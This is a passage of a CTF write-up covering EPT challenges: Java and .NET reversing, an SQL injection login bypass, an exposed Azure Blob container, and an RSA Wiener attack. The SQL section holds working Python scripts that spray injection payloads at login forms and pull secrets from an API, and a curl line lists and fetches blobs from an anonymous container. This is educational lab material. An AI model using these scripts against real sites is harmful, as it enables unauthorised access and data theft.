         var4.append(var2.charAt(var3.nextInt(var2.length())));
      }

      return var4.toString();
   }

   public static String xorString(String var0, String var1) {
      StringBuilder var2 = new StringBuilder();

      for(int var3 = 0; var3 < var0.length(); ++var3) {
         var2.append((char)(var0.charAt(var3) ^ var1.charAt(var3 % var1.length())));
      }

      return var2.toString();
   }

   public static String base64Encode(String var0) {
      Encoder var1 = Base64.getEncoder();
      return var1.encodeToString(var0.getBytes());
   }

   public static String base64Decode(String var0) {
      Decoder var1 = Base64.getDecoder();
      return new String(var1.decode(var0));
   }
}

The program base64 decodes var1 and xor it with the string Den e brun. It then uses the result of the xor to generate and print a random flag. Because var4 is not the correct flag, it is reasonable to think that var3 might be the decrypted flag, so we base64 decode var1 and xor it with var2 with CyberChef.

Flag

Find Me

Challenge

We are given a binary to reverse in this challenge, and after looking at it in IDA it looks horrible! Ida1 Ida2

The reason for this can be found in the strings of the program, indicating that this might be some dotnet program. This would also explain why the code looks so messy when decompiled.

1
2
3
4
5
6
7
8
9
$ strings findme | grep .NET
@0.NETCoreApp,Version=v8.0
 .NET}I
.NET 8.0
DOTNET_
Cannot use regions without specifying the range (using DOTNET_GCRegionRange)
.NET BGC
DOTNET_DbgEnableMiniDump is set and the createdump binary does not exist: %s
.NET SigHandler

Running the binary reveals the first 5 bytes of the flag, so we must find a way to recover the rest.

1
2
3
$ ./findme
This is the 5 first bytes of the flag: EPT{Y
Can you find the rest?

One of my teammates found that the flag is printed to stdout with the write function. Half-seriously, I then loaded up the binary in GDB (with pwndbg extension), set a breakpoint on the write function, and searched for the flag-prefix EPT{ in memory with pwndbg’s search command. The flag was apparently stored in plaintext in one of the memory sections of the program…

1
2
3
pwndbg> search "EPT{"
Searching for value: 'EPT{'
[anon_7fbffa800] 0x7fbffa8056e8 'EPT{YOU_FOUND_4_WAY_TO_R3AD_M3_W3LL_DON3}NP3V1jrPEW3O3GOm74AzQ0eVtf7PzEno9OpwU6cA'

Misc

SQL 101

Challenge

Opening the webpage we are given 101 (!) login forms.

Webpage

Our first objective is to create a script which identifies which login form is vulnerable to a SQL-injection. One of my teammates wrote the following script using multiprocessing to find the correct form, which I then extended to solve the remaining of the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from multiprocessing.dummy import Pool
import re 
import requests
import time

urlbase = "https://53kilomeddata-d6f0-allthoseforms.ept.gg"
mainpage_response = requests.get(urlbase + "/login").text
format = """<form method="post" action="/login/(.+)">"""
endpoints = re.findall(format, mainpage_response)

def pr(i, e):
    url = urlbase + "/login/" + e
    login_response = requests.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
    if "Invalid login credentials!" not in login_response.text:
        # TODO: Form is vulnerable

pool = Pool(50)
for i, e in enumerate(endpoints):
    pool.apply_async(pr, args=[i, e])
time.sleep(20)

When the login-form is bypassed with the SQL injection we are greeted with the following page, mentioning some API documentation located at /api-docs (href in html code). Logged in

The /api-docs webpage shows the API documentation of the endpoint /api/secrets, where the flag most likely is located. All we need to do is query all the pages until we find the flag. API-docs

Using the following script we search for the flag among the secrets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from multiprocessing.dummy import Pool
import re 
import requests
import time

urlbase = "https://53kilomeddata-d6f0-allthoseforms.ept.gg"
mainpage_response = requests.get(urlbase + "/login").text
format = """<form method="post" action="/login/(.+)">"""
endpoints = re.findall(format, mainpage_response)

def pr(i, e):
    url = urlbase + "/login/" + e
    login_response = requests.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
    if "Invalid login credentials!" not in login_response.text:
        # Create a session, or else we do not keep our authentication
        s = requests.Session()
        r = s.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
        for i in range(1, 100):
            r = s.get(urlbase + f"/api/secrets?page={i}&page_size=20")
            if "EPT" in r.text:
                res = r.json()
                for secret in res.get("secrets", []):
                    if "EPT" in secret.get("text", ""):
                        print(secret)
                        exit()

pool = Pool(50)
for i, e in enumerate(endpoints):
    pool.apply_async(pr, args=[i, e])
time.sleep(20)

At page 80, with id 1598, we find the flag.

1
2
$ python3 sql.py
{'id': 1598, 'text': 'EPT{0ae0fbea-9a8c-4b2c-8e33-b383c8c8f94f}'}

EPT Arcade Game

Challenge

This challenge is a snake-like game where we control the blue square, and get points when we collide with the EPT-logos. We have 20 seconds per level to get all the logos, which advances us to the next level. Game

Unfortunately, this game seems to run endlessly.

Looking at the html-code of the webpage we see the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Arcade Game - Play</title>
        <link rel="icon" type="image/png" href="https://a8261cebfbaccblob.blob.core.windows.net/private/ept.png">
        <link rel="stylesheet" href="/static/css/styles.css">
    </head>
    <body>
        <header>
            <h1>Welcome to the EPT Arcade Game</h1>
        </header>
        <div class="content">
            <div id="game-container">
                <canvas id="gameCanvas"></canvas>
            </div>
            <div id="score-container">
                <p>Score: <span id="score">0</span></p>
                <p>Level: <span id="level">1</span></p>
                <p>Time left: <span id="time">20</span> seconds</p>
            </div>
            <script>
                // Pass the target URL from Flask to the JavaScript
                const target_url = "https://a8261cebfbaccblob.blob.core.windows.net/private/ept.svg";
            </script>
        </div>
        <footer>
            <p>&copy; 2024 EPT Arcade Game</p>
        </footer>
        <script src="/static/js/game.js"></script>
    </body>
</html>

The target_url is interesting. It references what seems like an Azure Blob storage, where it stores its image files. Without any knowledge of how this could be useful googling ctf blob.core.windows.net lead to this writeup of a similar challenge. It seems that if anonymous access is enabled for this type of storage, requesting the url <StorageAccountName>.blob.core.windows.net/<ContainerName>?restype=container&comp=list will list the files stored within this container. The ContainerName is in our case private, and requesting the url lists the following three files:

  • ept.png
  • ept.svg
  • flag-1s-h3r3.txt

We now have the name of the flag-file.

1
2
$ curl https://<StorageAccountName>.blob.core.windows.net/private/flag-1s-h3r3.txt
EPT{b72b9f5611694c29b334c246f1d16a6d}

Crypto

Chatlog

Challenge

From reading the challenge description, it is clear that this is a RSA (Rivest–Shamir–Adleman) challenge. We are given a chatlog where the public factors N and e are given, along with the ciphertext.

1
2
3
4
[22:10:25]      <Mr.Rivest>     Hi, I need to send you something. Can you send me your key?
[22:11:03]      <Mr.Adleman>    Sure, here: n=109773001979060500556771371722004589561407766472974181720301601504038097307183054327771414952722378616410690575654297998413723333283006388834687489519816814313970602740394095998728900971165525449666220812031401613319432338039749036919424709291358478655637030475075112370396605574403821950130705107292457546429 e=6251728305055461128215101113791542074487626873355761684912706796947820318045025894574010369655098754702916182673592159941529716341070091220295342244632166182377719507598162603755176681008223777597129409701832290624714334993812111228876927501848766224885363439534844304635205290155102644689388281018248057599
[22:11:47]      <Mr.Rivest>     69065966519105922162577567455261680573815854481710157074477507437933398566834762071577601999308205592512262422922008600362846112148013817314127895526875891430442404421013800492060589763419224572960632800381314756724351337523874069656512900871727433364755041357985429952615910953420906893665747562715489326060
[22:12:19]      <Mr.Adleman>    Hmm, I see... Thanks!

The first thing we tried was to check with factordb if N has any known factors. If this was the case, we would know p and q, and could subsequently construct the decryption key d = e^-1 % ( (p-1)*(q-1) ). Unfortunately, the N in this challenge has no known factors.

One thing that stands out is that e is very large in this challenge, as usually e = 0x10001. Because e is very large, the decryption key d is likely to be relatively small, and therefore vulnerable to Wiener’s attack if certain size-requirements are met. Luckily, because this is a known attack we don’t have to script all the code ourselves, and can just use RsaCtfTool for example.

1
2
3
4
$ python3 RsaCtfTool.py --attack wiener -n 109773001979060500556771371722004589561407766472974181720301601504038097307183054327771414952722378616410690575654297998413723333283006388834687489519816814313970602740394095998728900971165525449666220812031401613319432338039749036919424709291358478655637030475075112370396605574403821950130705107292457546429 -e 6251728305055461128215101113791542074487626873355761684912706796947820318045025894574010369655098754702916182673592159941529716341070091220295342244632166182377719507598162603755176681008223777597129409701832290624714334993812111228876927501848766224885363439534844304635205290155102644689388281018248057599 --decrypt 69065966519105922162577567455261680573815854481710157074477507437933398566834762071577601999308205592512262422922008600362846112148013817314127895526875891430442404421013800492060589763419224572960632800381314756724351337523874069656512900871727433364755041357985429952615910953420906893665747562715489326060
[*] Attack success with wiener method !
PKCS#1.5 padding decoded!
utf-8 : EPT{Shamir_is_up_2_something}
This post is licensed under CC BY 4.0 by the author.